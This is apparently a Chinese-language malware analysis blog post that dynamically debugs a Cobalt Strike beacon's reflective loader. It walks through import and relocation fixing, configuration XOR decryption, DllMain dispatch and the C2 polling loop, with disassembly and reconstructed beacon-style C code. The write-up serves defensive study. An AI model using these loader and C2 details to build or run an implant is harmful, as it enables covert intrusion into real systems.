在上面步骤之后继续运行返回之后,继续运行,经过一些内存处理之后,开始调用栈中的函数,首次调用函数为 VirtualAlloc,开辟用于重装载的空间

image

直接步过这个call 然后观察rax寄存器发现开辟的空间首地址,即空间首地址为0000000003610000

栈空间开辟完成之后,进行栈的清理工作,观察rcx发现清空了4E000h长度的内存

image

PE文件头复制

继续运行注意这个call loc_3226C93,步入运行到

image

程序将PE文件装载到新开辟的内存空间中,从03610000到0000000003610400,总计0400h;PE头内容(5A 41 52 55 48 89 E5 48……

各区段复制

将上面存到03610400的PE文件头copy下来,使用010 editor新建成为一个文件,然后去010官网下载exe.bt的模板,运行模板之后得到

image

根据PE头所标识的节表数量,可知有五节

image

观察5给节区的DWORD SizeOfRawData可知即将载入的内容长度

第一段:观察rdi和rcx可知是从0x03611000到0x363BE00共2AE00h

image

第二段:从0x0363C000到0x0364BA00,总共FA00h

image

同样的操作,循环得到

第三段:从0x0364C000到0x0364E600,共2600h

第四段:从0x0365A000到0x0365C200,共2200h

第五段:从0x0365D000到0x0365E000,共1000h

结束之后,区段装载完毕

导入表修复

目前重装载的PE文件还不完整,还需要进行修复

过程:

  1. 从导入表复制模块名称
  2. 调用kernel32_LoadLibraryA进行模块加载
  3. 从导入表复制模块函数名称
  4. 调用kernel32_GetProcAddress获取功能函数调用地址
  5. 、将函数的调用地址写入新的导入表

将源PE文件放入010 Editor解析可知,程序要导入KERNEL32、ADVAPI32、WININET、WS2_32S四个模 块的功能函数

KERNEL32.DLL模块函数的过程分析

修复准备工作

运行完这个函数返回之后,跟踪程序下一个call,也就是loc_33D6E53的运行可以发现,此程序在此获取:

  • 源文件的PE头位置 源PE文件的SizeOfImage
  • 源PE文件的IMAGE_DIRECTORY_ENTRY_IMPORT->VirtualAddress (导入表的RVA)
  • 重装载PE文件内存空间首地址

计算出:

重装载PE文件内存空间最后40h位置,用于临时存储复制的模块名称、功能函数名称等

重装载PE文件导入表存储位置(VA = RVA + IMAGE BASE)

image

继续运行开始从导入表中复制模块名称,并按名加载模块

获取模块名称

此段主要复制重装载PE文件存储的模块名称到指定的临时存储区

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
debug079:00000000033D6EC2 loc_33D6EC2:                            ; CODE XREF: debug079:00000000033D70EB↓j
debug079:00000000033D6EC2 mov rax, [rsp+38h] ; 重装载PE文件的导入表存储位置赋值给rax
debug079:00000000033D6EC7 cmp dword ptr [rax+0Ch], 0 ; 检查重装载PE文件IMAGE_IMPORT_DESCRIPTOR ImportDescriptor->name
debug079:00000000033D6ECB jz loc_33D70F0
debug079:00000000033D6ED1 mov rax, [rsp+38h]
debug079:00000000033D6ED6 mov eax, [rax+0Ch]
debug079:00000000033D6ED9 mov rcx, [rsp+88h]
debug079:00000000033D6EE1 add rcx, rax
debug079:00000000033D6EE4 mov rax, rcx
debug079:00000000033D6EE7 mov rdi, [rsp+20h]
debug079:00000000033D6EEC mov rsi, rax ; 复制的源地址:重装载PE文件的模块名称存储位置
debug079:00000000033D6EEF mov ecx, 40h ; '@'
debug079:00000000033D6EF4 rep movsb ; 模块名称复制
debug079:00000000033D6EF6 movzx r8d, byte ptr [rsp+0A0h]
debug079:00000000033D6EFF mov edx, 40h ; '@'
debug079:00000000033D6F04 mov rcx, [rsp+20h] ; RCX指向复制的模块名称
debug079:00000000033D6F09 call loc_33D63A3
debug079:00000000033D6F0E mov rcx, [rsp+20h]
debug079:00000000033D6F13 mov rax, [rsp+80h]
debug079:00000000033D6F1B call qword ptr [rax+10h] ; 调用kernel32_LoadLibraryA
debug079:00000000033D6F1E mov [rsp+98h], rax
debug079:00000000033D6F26 mov rax, [rsp+38h]
debug079:00000000033D6F2B mov eax, [rax]
debug079:00000000033D6F2D mov rcx, [rsp+88h]
debug079:00000000033D6F35 add rcx, rax
debug079:00000000033D6F38 mov rax, rcx
debug079:00000000033D6F3B mov [rsp+30h], rax
debug079:00000000033D6F40 mov rax, [rsp+38h]
debug079:00000000033D6F45 mov eax, [rax+10h]
debug079:00000000033D6F48 mov rcx, [rsp+88h]
debug079:00000000033D6F50 add rcx, rax
debug079:00000000033D6F53 mov rax, rcx
debug079:00000000033D6F56 mov [rsp+28h], rax

在这个代码中间有一个call loc_33D63A3跟进

模块按名加载

loc_33D63A3调用kernel32_LoadLibraryA进行模块加载,参数为先前复制到空白区的模块名称存于RAX寄存器的返回值为模块的调用地址,压入栈中等待调用

获取功能函数名称

image

image

image

复制的模块名称为VirtualProtectEx

同样在loc_33D7049下

功能模块按名加载

到这的时候ida崩了,所以地址随机化可能和前面不一样,以汇编为主

1
2
3
4
5
6
7
8
9
10
debug083:00000000033A707C                 movzx   r8d, byte ptr [rsp+0A0h] ; R8=0
debug083:00000000033A7085 mov edx, 40h ; '@'
debug083:00000000033A708A mov rcx, [rsp+20h] ; 存储的函数名称位置,复制的目的地
debug083:00000000033A708F call loc_33A63A3
debug083:00000000033A7094 mov rdx, [rsp+20h] ; 存储的函数名称位置
debug083:00000000033A7099 mov rcx, [rsp+98h]
debug083:00000000033A70A1 mov rax, [rsp+80h]
debug083:00000000033A70A9 call qword ptr [rax+8] ; kernel32_GetProcAddress
debug083:00000000033A70AC mov rcx, [rsp+28h] ; IAT地址
debug083:00000000033A70B1 mov [rcx], rax ; 将IAT存入

image

继续执行loc_32570B4,判断是否还有未载入的功能函数

当所有功能函数的调用地址更新进IAT后,程序将直接返回loc_3256F5B段,进行下一个模块的函数加载

1
2
3
4
5
6
7
8
9
10
11
12
13
debug081:00000000032570B4 loc_32570B4:                            ; CODE XREF: debug081:0000000003257047↑j
debug081:00000000032570B4 mov rax, [rsp+28h]
debug081:00000000032570B9 add rax, 8
debug081:00000000032570BD mov [rsp+28h], rax
debug081:00000000032570C2 cmp qword ptr [rsp+30h], 0 ; 查看INT表
debug081:00000000032570C8 jz short loc_32570D8
debug081:00000000032570CA mov rax, [rsp+30h]
debug081:00000000032570CF add rax, 8
debug081:00000000032570D3 mov [rsp+30h], rax
debug081:00000000032570D8
debug081:00000000032570D8 loc_32570D8: ; CODE XREF: debug081:00000000032570C8↑j
debug081:00000000032570D8 jmp loc_3256F5B
debug081:00000000032570DD ; ---------------------------------------------

每当INT中的函数加载完毕,都将回到程序段loc_3256EC2进行判断(也就是这个函数起始位置),当发现所有模块都已经加载完毕, 就会清理临时存储区,进入文件修复的下一个阶段

重定位表修复

pe头中数据表第六位是IMAGE_DIRECTORY_ENTRY_BASERELOC,这个中的VirtualAddress保存了重定位表存储位置的RVA,第二个表现Size存储了重定位表的大小

重定位表分成可变长度的块,每块由基地址,表大小和存储的偏移地址组成 基地址+偏移地址=VA

修复装载pe文件定位表,步骤:

  • PE文件重定位差值计算
  • PE文件重定位表存储位置获取
  • 遍历重装载PE文件重定位表修改
准备工作
  • 修复重定位表是在call loc_3267113
  • 重装载PE文件内存首地址与ImageBase差值的计算,存入[rsp+20h]
  • 源PE文件IMAGE_DIRECTORY_ENTRY_BASERELOC获取,存入[rsp+18h]
  • 重装载PE文件重定位表位置的计算,存入[rsp+10h]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
debug085:0000000003267113 loc_3267113:                            ; CODE XREF: debug085:00000000032662EF↑p
debug085:0000000003267113 mov [rsp+10h], rdx ; 将pe头地址存入[rsp+10h]的栈中
debug085:0000000003267118 mov [rsp+8], rcx ; 将beacon.dll文件地址存入[rsp+8h]的中
debug085:000000000326711D sub rsp, 38h
debug085:0000000003267121 mov rax, [rsp+48h] ; F8h->源PE文件:PE头
debug085:0000000003267126 mov rax, [rax+30h] ; 128h->源PE文件:ImageBase=180000000h
debug085:000000000326712A mov rcx, [rsp+40h] ; 重装载PE文件内存首地址
debug085:000000000326712F sub rcx, rax ; 计算出重定位差值:FFFFFFFE80190000h
debug085:0000000003267132 mov rax, rcx
debug085:0000000003267135 mov [rsp+20h], rax ; 将重定位差存入[rsp+20h]
debug085:000000000326713A mov eax, 8 ; IMAGE_DATA_DIRECTORY size
debug085:000000000326713F imul rax, 5 ; IMAGE_DIRECTORY_ENTRY_BASERELOC在数据表第6
debug085:0000000003267143 mov rcx, [rsp+48h] ; F8h->源PE文件:PE头
debug085:0000000003267148 lea rax, [rcx+rax+88h] ; 1A8h->源PE文件:IMAGE_DIRECTORY_ENTRY_BASERELOC
debug085:0000000003267150 mov [rsp+18h], rax ; [rsp+18h]=源PE文件:IMAGE_DIRECTORY_ENTRY_BASERELOC
debug085:0000000003267155 mov rax, [rsp+18h]
debug085:000000000326715A cmp dword ptr [rax+4], 0 ; 源PE文件:IMAGE_DIRECTORY_ENTRY_BASERELOC->size?=0
debug085:000000000326715E jz loc_326739F
debug085:0000000003267164 mov rax, [rsp+18h] ; 4D000h(OPE->IDEB->RVA)
debug085:0000000003267169 mov eax, [rax] ; 重装载PE文件内存首地址
debug085:000000000326716B mov rcx, [rsp+40h] ; 计算出重装载PE文件重定位表位置
debug085:0000000003267170 add rcx, rax
debug085:0000000003267173 mov rax, rcx
debug085:0000000003267176 mov [rsp+10h], rax ; [rsp+10h]=重装载PE文件重定位表位置

继续调试loc_326717B ,这里进行了:

  • 重定位表处理进度的判断
  • 块中偏移地址个数的计算
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
debug085:000000000326717B loc_326717B:                            ; CODE XREF: debug085:000000000326739A↓j
debug085:000000000326717B mov rax, [rsp+10h]
debug085:0000000003267180 cmp dword ptr [rax+4], 0
debug085:0000000003267184 jz loc_326739F
debug085:000000000326718A mov rax, [rsp+10h] ; 重装载PE文件重定位表位置
debug085:000000000326718F mov eax, [rax] ; 重定位表块基址(RVA:2C000h)
debug085:0000000003267191 mov rcx, [rsp+40h] ; 重装载PE文件内存首地址
debug085:0000000003267196 add rcx, rax ; 重装载PE文件需要重定位块基地址:367C000h
debug085:0000000003267199 mov rax, rcx
debug085:000000000326719C mov [rsp+8], rax
debug085:00000000032671A1 mov rax, [rsp+10h] ; 重装载PE文件重定位表位置
debug085:00000000032671A6 mov eax, [rax+4] ; SizeOfBlock=18h
debug085:00000000032671A9 sub rax, 8 ; VirtualAddress和SizeOfBlock占用8h
debug085:00000000032671AD xor edx, edx
debug085:00000000032671AF mov ecx, 2 ; 每个偏移地址占据两字节
debug085:00000000032671B4 div rcx ; 计算出偏移地址个数
debug085:00000000032671B7 mov [rsp+18h], rax ; [rsp+18h]=偏移地址个数,8h
debug085:00000000032671BC mov rax, [rsp+10h] ; RAX=重装载PE文件重定位表位置
debug085:00000000032671C1 add rax, 8 ; RAX=重装载PE文件重定位表子偏移地址位置
debug085:00000000032671C5 mov [rsp], rax

loc_32671C9进行待处理偏移地址个数的判断,并进行标记为Ah(1010b)的偏移地址 的处理,更新对应的偏移值;IMAGE_REL_BASED_DIR64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
debug085:00000000032671C9 loc_32671C9:                            ; CODE XREF: debug085:000000000326737D↓j
debug085:00000000032671C9 mov rax, [rsp+18h]
debug085:00000000032671CE mov [rsp+28h], rax ; 偏移地址个数=8
debug085:00000000032671D3 mov rax, [rsp+18h]
debug085:00000000032671D8 dec rax
debug085:00000000032671DB mov [rsp+18h], rax
debug085:00000000032671E0 cmp qword ptr [rsp+28h], 0 ; 偏移地址为0跳转
debug085:00000000032671E6 jz loc_3267382
debug085:0000000003267382 ; ---------------------------------------------------------------------------
debug085:0000000003267382
debug085:0000000003267382 loc_3267382: ; CODE XREF: debug085:00000000032671E6↑j
debug085:0000000003267382 mov rax, [rsp+10h] ; 重装载PE文件重定位表位置
debug085:0000000003267387 mov eax, [rax+4] ; 重装载PE文件重定位表SizeOfBlock位置
debug085:000000000326738A mov rcx, [rsp+10h] ; 重装载PE文件重定位表位置
debug085:000000000326738F add rcx, rax ; 下一个重定位表位置
debug085:0000000003267392 mov rax, rcx
debug085:0000000003267395 mov [rsp+10h], rax ; 下一个重定位表位置存到[rsp+10h]
debug085:000000000326739A jmp loc_326717B
debug085:000000000326739F ; ---------------------------------------------------------------------------
debug085:00000000032671EC mov rax, [rsp] ; 重装载PE文件重定位表子偏移地址位置
debug085:00000000032671F0 movzx eax, word ptr [rax] ; 子偏移地址 A658h
debug085:00000000032671F3 shr ax, 0Ch ; AX右移0Ch左侧补0
debug085:00000000032671F7 and ax, 0Fh
debug085:00000000032671FB movzx eax, ax
debug085:00000000032671FE cmp eax, 0Ah ; BaseRelocationType=Ah(10);IMAGE_REL_BASED_DIR64
debug085:0000000003267201 jnz short loc_3267249
debug085:0000000003267203 mov eax, 0FFFh
debug085:0000000003267208 mov rcx, [rsp] ; 重装载PE文件重定位表子偏移地址位置
debug085:000000000326720C movzx ecx, word ptr [rcx] ; 子偏移地址 A658h
debug085:000000000326720F and cx, ax ; 用与运算取低十二位 658h
debug085:0000000003267212 movzx eax, cx
debug085:0000000003267215 movzx eax, ax
debug085:0000000003267218 mov rcx, [rsp+8] ; 重装载PE文件重定位表基地址
debug085:000000000326721D mov rax, [rcx+rax] ; [rcx+rax]=[RVA+子偏移地址]=[1BC658h]=18001C8C8h
debug085:0000000003267221 add rax, [rsp+20h] ; RAX+重定位差值(FFFFFFFE80190000h)=1AC8C8h
debug085:0000000003267226 mov ecx, 0FFFh
debug085:000000000326722B mov rdx, [rsp] ; 重装载PE文件重定位表子偏移地址位置
debug085:000000000326722F movzx edx, word ptr [rdx]
debug085:0000000003267232 and dx, cx
debug085:0000000003267235 movzx ecx, dx
debug085:0000000003267238 movzx ecx, cx
debug085:000000000326723B mov rdx, [rsp+8] ; 重装载PE文件重定位表存储地址:1BC000h
debug085:0000000003267240 mov [rdx+rcx], rax ; [1BC658h]=1AC8C8h,修改偏移
debug085:0000000003267244 jmp loc_3267371
debug085:0000000003267249 ; ---------------------------------------------------------------------------

loc_3267249,标识值为3h(0111b)的偏移地址;IMAGE_REL_BASED_HIGHLOW

loc_32672A3,标识值为1h(0001b)的偏移地址;IMAGE_REL_BASED_HIGH

loc_326730D,标识值为2h(0010b)的偏移地址;IMAGE_REL_BASED_LOW

loc_326739F,返回

堆栈与临储清理,修改入口点

临储区清理:

image

入口点修改:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
debug085:000000000326631E                 mov     rax, [rsp+38h]  ; 源PE文件:PE头
debug085:0000000003266323 movzx eax, word ptr [rax+16h] ; FILE_CHARACTERISTICSCharacteristics:A022h
debug085:0000000003266327 and eax, 1000h
debug085:000000000326632C cmp eax, 1000h
debug085:0000000003266331 jnz short loc_3266350
debug085:0000000003266350 ; ---------------------------------------------------------------------------
debug085:0000000003266350
debug085:0000000003266350 loc_3266350: ; CODE XREF: debug085:0000000003266331↑j
debug085:0000000003266350 mov rax, [rsp+38h] ; 源PE文件:PE头
debug085:0000000003266355 mov eax, [rax+28h] ; AddressOfEntryPoint
debug085:0000000003266358 mov rcx, [rsp+40h] ; 重装载PE文件内存首地址
debug085:000000000326635D add rcx, rax ; 计算出的入口点
debug085:0000000003266360 mov rax, rcx
debug085:0000000003266363 mov [rsp+60h], rax ; 重装载PE文件入口点
debug085:0000000003266368
debug085:0000000003266368 loc_3266368: ; CODE XREF: debug085:000000000326634E↑j
debug085:0000000003266368 mov r8, [rsp+0E0h]
debug085:0000000003266370 mov edx, 1
debug085:0000000003266375 mov rcx, [rsp+40h] ; 重装载PE文件内存首地址(0x03650000h)
debug085:000000000326637A call qword ptr [rsp+60h] ; 执行重装载PE文件
debug085:000000000326637E mov rax, [rsp+60h]
debug085:0000000003266383 add rsp, 0D0h
debug085:000000000326638A pop rdi
debug085:000000000326638B retn
debug085:000000000326638B ; ---------------------------------------------------------------------------
……

image

到这里远程文件的下载和装载都已经完成

装载文件运行

image

查看提取出的PE文件,发现入口点修改的结果

image

DLL的入口点调用与初始化

用户定义的dll入口点函数:DllMain()

用户定义的dll入口点函数,用于beacon.dll初始化

image

fdwReason=1,运行sub_18001876C()函数,推测其可能为beacon_int()函数, 进行了Beacon的初始化

image

当fdwReason=4时,程序将运行sub_18000CA74()函数,推测其可能为beacon的主功能函数, 进行上线,等候任务下发

image

动态调试beacon_init()

通过上面的Dll入口点的非用户行为,直接跳转,通过分析得到call sub_176C2C即DllMain()

image

Beacon的初始化:Beacon_int()

通过分析得知,sub_17876C()就是Beacon_int()

image

注意xor解密这里,使用了19C030h的0x1000个数据与0x2e进行xor解密

image

发现这里是解密了beacon的配置文件

解密完成后sub_173F08()函数对刚解密的数据进行了操作,跟进分析这个函数的作用

image

这是对解密后的数据赋值给了v10,以及存储配置文件长度

接下来进入while循环

image

对应beacon_Src项目参考为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
for (int index = BeaconDataShort(&c2profile);;index = BeaconDataShort(&c2profile))
{
if (index <= 0)
break;
WORD data_type = BeaconDataShort(&c2profile);
WORD data_size = BeaconDataShort(&c2profile);
int size = index_size * index;
*(WORD*)(CsC2Config + size) = data_type;
switch (data_type)
{
case 1:
*(WORD*)(CsC2Config + size + sizeof(size_t)) =BeaconDataShort(&c2profile);
break;
case 2:
*(DWORD*)(CsC2Config + size + sizeof(size_t)) =BeaconDataInt(&c2profile);
break;
case 3:
*(ULONG_PTR*)(CsC2Config + size + sizeof(size_t)) =(ULONG_PTR)malloc(data_size);
void* data = BeaconDataPtr(&c2profile, data_size);
memcpy(*(ULONG_PTR**)(CsC2Config + size + sizeof(size_t)), data,data_size);
break;
}
}

参考

而while循环中的v8 = sub_173FB4(v10);​就是调用BeaconDataShort()函数

image

美化函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
short BeaconDataShort(datap* parser)
{
short result; // 用于存储解析后的短整型数据

// 如果解析缓冲区的长度小于 2 字节(sizeof(short))
if (parser->length < sizeof(short))
return 0; // 返回 0,表示解析失败

// 从解析缓冲区中读取 2 字节的数据
// ntohs() 函数用于将网络字节序(Big Endian)转换为主机字节序(Little Endian)
result = ntohs(*(u_short*)parser->buffer);

// 将解析缓冲区指针向后移动 2 字节
parser->buffer += sizeof(short);
// 将解析缓冲区的剩余长度减少 2 字节
parser->length -= sizeof(short);

return result; // 返回解析后的短整型数据
}

接下来又配置了两次,直接跳过

执行case1

1
2
3
case 1:
*(WORD*)(CsC2Config + size + sizeof(size_t)) = BeaconDataShort(&c2profile);
break;

将处理过的配置内容放入*(v5 + qword_1A7708 + 8),即表达式计算出一个新的内存地址

程序将在此循环来处理所有读取到的配置,不同的case对应不同类型内容的处理

当case全部完成后,进行返回

1
return memset(byte_19C030, 0i64, 4096i64);//将存储区归零并返回

beacon_init结束后,又跳转回了原程序,fdwReason=4调用beacon的入口点

image

正式上线:Beacon_main()

image

  • 如果 hinstDLL​ 不为空,并且 VirtualQuery(hinstDLL, &Buffer, 0x30ui64)​ 成功,则进一步检查 Buffer.Type​:

    • 如果 Buffer.Type​ 是 0x20000(MEM_IMAGE),则调用 VirtualFree(hinstDLL, 0i64, 0x8000u)​ 释放内存。
    • 如果 Buffer.Type​ 是 0x40000(MEM_MAPPED),则调用 UnmapViewOfFile(hinstDLL)​ 取消内存映射。
  • 最后,调用 sub_18000CA74(lpvReserved)​ 函数。

进入sub_18000CA74函数

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
__int64 sub_1ACA74()
{
__int64 v0; // rbx
unsigned int v1; // ebp
__int64 v2; // r12
unsigned int v3; // r13d
int v4; // r14d
__int64 v5; // r15
int v6; // esi
unsigned int v7; // edi
unsigned __int16 v8; // ax
unsigned int v9; // eax
__int64 v10; // rdi
unsigned int v11; // eax
__int64 v12; // rax
__int64 v13; // rax
unsigned int v14; // eax
int v15; // eax
int v16; // ebx
int v17; // eax
int v18; // eax
__int64 v19; // rdx
__int64 v22; // [rsp+30h] [rbp-48h]
__int64 v23; // [rsp+88h] [rbp+10h]
__int64 v24; // [rsp+90h] [rbp+18h]
__int64 v25; // [rsp+98h] [rbp+20h]

// 调用一些未知的函数,可能是进行初始化或设置一些全局变量
v0 = (unk_1B3DFC)(640i64);
v24 = (unk_1B3F50)(v0, 256i64);
(unk_1B3F50)(v0, 256i64);
v1 = 0;
v2 = (unk_1B3F50)(v0, 128i64);
v25 = (unk_1B8708)(8i64);
(unk_1B873C)(67i64);
(unk_1B86B4)(68i64);
(unk_1B86B4)(69i64);
(unk_1B86B4)(70i64);
(unk_1B873C)(1i64);
v3 = (unk_1B873C)(2i64);
v4 = (unk_1B86B4)(3i64);
(unk_1B86B4)(19i64);
v23 = (unk_1B8708)(9i64);
v22 = (unk_1B8708)(10i64);
v5 = (unk_1B9DF0)(16i64);
v6 = (unk_1B86B4)(69i64);
v7 = (unk_1B86B4)(70i64);
LODWORD(v0) = (unk_1B86B4)(68i64);
v8 = (unk_1B873C)(67i64);
(unk_1B909C)(v5, v8, v0, v7, v6);

// 调用一些可能与状态管理相关的函数
if ((unk_1AE69C)())
sub_1B91DC();
dword_1DC000 = v4;
dword_1DE468 = (unk_1B873C)(5i64);
v9 = (unk_1B86B4)(4i64);
v10 = (unk_1B9DF0)(v9);
v11 = (unk_1B86B4)(4i64);
(unk_1B3A70)(v10, v11);

// 进入一个循环,可能在处理某种任务或状态
while (dword_1DC000)
{
v12 = (unk_1B8C9C)(v25, v1, v5);
(unk_1BA1AC)(v2, 128i64, &unk_1CC6C4, v12);
v1 = 0;
v13 = (unk_1B8C9C)(v25, 0i64, v5);
(unk_1BA1AC)(v24, 128i64, &unk_1CC6C4, v13);
dword_1DC004 = 1;
(unk_1BA1AC)(&unk_1E7B60, 256i64, &unk_1CC6C4, v22);
(unk_1ADFD4)(v2, v3, v23);
v14 = (unk_1B86B4)(4i64);
v15 = (unk_1ADF80)(v24, &unk_1E7720, v10, v14);
v16 = v15;
if (v15 > 0)
{
v17 = (unk_1B824C)(v10, v15);
v16 = v17;
if (v17 <= 0)
{
v16 = -1;
v1 = 1;
}
else
{
(unk_1B6654)(v10, v17);
}
}
if (v16 == -1)
{
v1 = 1;
}
else
{
(unk_1B4704)(&unk_1ACDD0);
v18 = (unk_1B86B4)(28i64);
v19 = &unk_80000;
if (v18)
v19 = 4096i64;
(unk_1B0228)(&unk_1ACDD0, v19);
(unk_1B2F4C)(&unk_1ACDD0);
(unk_1B29D8)(&unk_1ACDD0, &unk_80000);
if ((unk_1AE69C)())
(unk_1AE734)(&unk_1ACDD0);
if (dword_1DE488 > 0)
{
(unk_1ADF54)();
(unk_1ADFD4)(v2, v3, v23);
(unk_1AE188)(&unk_1E7B60);
}
}
(unk_1ADF54)();
if ((unk_1AE69C)())
sub_1B91DC();
if (!dword_1DC000)
break;
if (dword_1DE468)
{
if (dword_1DC000 * dword_1DE468 / 0x64u)
(unk_1AE67C)();
}
(unk_1B0A80)();
}

// 释放资源并返回
(unk_1B9DB0)(v5);
return sub_1B91DC();
}

查看资料,优化之后为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
int main()
{
// 初始化 Beacon
Beacon_init(NULL);

// 初始化数据解析器
datap* parser = BeaconDataInit(0x280);

// 从数据解析器中读取 HTTP GET URL
char* http_get_url = BeaconDataPtr(parser, 256);
BeaconDataPtr(parser, 256);

// 从数据解析器中读取服务器主机缓冲区
char* ServerHost_buffer = (char*)BeaconDataPtr(parser, 128);

// 从数据解析中获取服务器IP和端口
char* ServerIP = get_str(8);
int ServerPort = get_short(2);

// 从数据解析中获取 Agent 和 POST URL
char* lpszAgent = get_str(9);
char* ServerPostUrl = get_str(10);

// 从数据解析中获取一些配置参数
g_dwMilliseconds = get_dword(3);
g_jitter = get_short(5);

// 连接错误标记
int conne_error = 0;

// 初始化旋转策略结构体
rotationstruc* rotation_opt = (rotationstruc*)malloc(sizeof(rotationstruc));

// 从数据解析中获取一些策略参数
int failover_Strategy_number = get_dword(69);
int failover_Strategy_time = get_dword(70);
int rotate_Strategy_time = get_dword(68);
int strategyID = get_short(67);

// 初始化旋转策略
init_rotation(rotation_opt, strategyID, rotate_Strategy_time, failover_Strategy_time, failover_Strategy_number);

// 如果有结束运行日期,退出
if (beacon_stop_date())
{
Beacon_exit();
}

// 从数据解析中获取服务器响应数据缓冲区大小
int server_output_size = get_dword(4); //.http-get.server.output
char* server_output_buffer = (char*)malloc(server_output_size);
Generate_encryption_metadata(server_output_buffer, server_output_size);

// 主循环,直到 g_dwMilliseconds 为 0
while (g_dwMilliseconds)
{
// 根据旋转策略获取服务器主机和URL
char* p_ServerHost = beacon_Rotation_Strategy(rotation_opt, ServerIP, conne_error);
_snprintf(ServerHost_buffer, 0x80, "%s", p_ServerHost);
conne_error = 0;
char* p_ServerUrl = beacon_Rotation_Strategy(rotation_opt, ServerIP, 0);
_snprintf(http_get_url, 0x80, "%s", p_ServerUrl);

// 设置 HTTP 连接
g_BeaconStart = 1;
_snprintf(g_post_url, 0x100u, "%s", ServerPostUrl);
set_winit_http(ServerHost_buffer, ServerPort, lpszAgent);

// 发送元数据并接收服务器响应
int server_out_size = call_send_Metadata(http_get_url, server_output_buffer, server_output_size);
if (server_out_size > 0)
{
// 解密服务器响应数据
int taskdata_size = decrypt_output_data(server_output_buffer, server_out_size);
server_out_size = taskdata_size;

// 解析任务数据
if (taskdata_size > 0)
{
Parse_Task((BeaconTask*)server_output_buffer, taskdata_size);
}
}

// 处理连接错误
if (server_out_size == -1)
{
conne_error = 1;
}
else
{
// 执行其他任务,如下载检查、子 Beacon 检查、任务输出检查
sub_1000715A();
if (get_dword(28))
{
CheckDownload(4096);
}
else
{
CheckDownload(0x80000);
}
CheckChildBeacon();
CheckJobOutput();

// 如果有结束运行日期,退出
if (beacon_stop_date())
{
Beacon_end();
}

// 如果有待发送的数据,发送它们
if (g_withdatasize > 0)
{
close_http_Handle();
set_winit_http(ServerHost_buffer, ServerPort, lpszAgent);
sned_beacon_data(gBeaconOutputData);
}
}

// 关闭 HTTP 连接
close_http_Handle();

// 如果有结束运行日期,退出
if (beacon_stop_date())
{
Beacon_exit();
}

// 如果 g_dwMilliseconds 为 0,退出
if (!g_dwMilliseconds)
{
break;
}

// 根据 Jitter 参数,确定下次执行的延迟时间
if (g_jitter)
{
int temp = g_dwMilliseconds * g_jitter / 0x64;
temp = temp ? random_int() % temp : 0;
int dwMilliseconds = g_dwMilliseconds;
if (temp < g_dwMilliseconds)
{
dwMilliseconds = g_dwMilliseconds - temp;
}
BeaconSleep(dwMilliseconds);
}
else
{
BeaconSleep(g_dwMilliseconds);
}
}

// 释放资源并退出
free(rotation_opt);
return Beacon_exit();
}

通过源码分析,直接进入while

image

循环EA60h,即等待上线时间

image

当运行到 v16 = v15;成功上线,即call near ptr unk_1ADF80结束之后,对比源码得知

1
2
3
set_winit_http(ServerHost_buffer, ServerPort, lpszAgent);

int server_out_size = call_send_Metadata(http_get_url, server_output_buffer, server_output_size);

第一行代码设置了 HTTP 连接所需的参数,第二行代码执行了一个 HTTP GET 请求并获取服务器的响应数据

beacon接收指令

查看静态汇编

image

1
v13 = sub_18000DF80(Buffer, &dword_180047720, v9, v12);

这个是每次循环中的请求指令

当接收到符和的指令,就会进入if判断,如果命令符和,就会调用sub_180016654(v9, v14);函数,进行命令执行

跟进分析

image

对接收到的命令进行解析,然后进入sub_180015F98选择执行

跟进sub_180015F98函数之后发现一堆的if判断,这里就是对不同命令进行解析后通过if判断,选择对应功能函数进行执行

image

Dll入口点的非用户行为

动调链接库入口点函数

加载beacon.dll调用了其入口点函数DllEntryPoint()

image

DLL的入口函数有三个参数:

  1. hinstDLL​:

    • 这是一个 HINSTANCE​ 类型的参数,代表当前 DLL 的实例句柄。
    • 当 DLL 被加载时,此参数包含 DLL 的加载基地址。
  2. fdwReason​:

    • 这是一个 DWORD​ 类型的参数,表示触发 DLL 入口点函数的原因。

    • 它可以取以下值之一:

      • DLL_PROCESS_ATTACH​:当 DLL 被加载到进程地址空间时调用。
      • DLL_THREAD_ATTACH​:当新线程被创建时调用。
      • DLL_PROCESS_DETACH​:当 DLL 被从进程地址空间卸载时调用。
      • DLL_THREAD_DETACH​:当线程终止时调用。
  3. lpReserved​:

    • 这是一个 LPVOID​ 类型的参数,当 fdwReason​ 为 DLL_PROCESS_ATTACH​ 或 DLL_PROCESS_DETACH​ 时,它包含额外的信息。
    • fdwReason​ 为 DLL_THREAD_ATTACH​ 或 DLL_THREAD_DETACH​ 时,此参数为 NULL​。

继续刚才的动态调试

image

这里调用DllEntryPoint函数前,入栈了一些参数

  • RCX=003650000h,即加载DLL的基址
  • EDX=1,即本次调用的原因:DLL_PROCESS_ATTACH
  • R8=0,即本次为动态加载

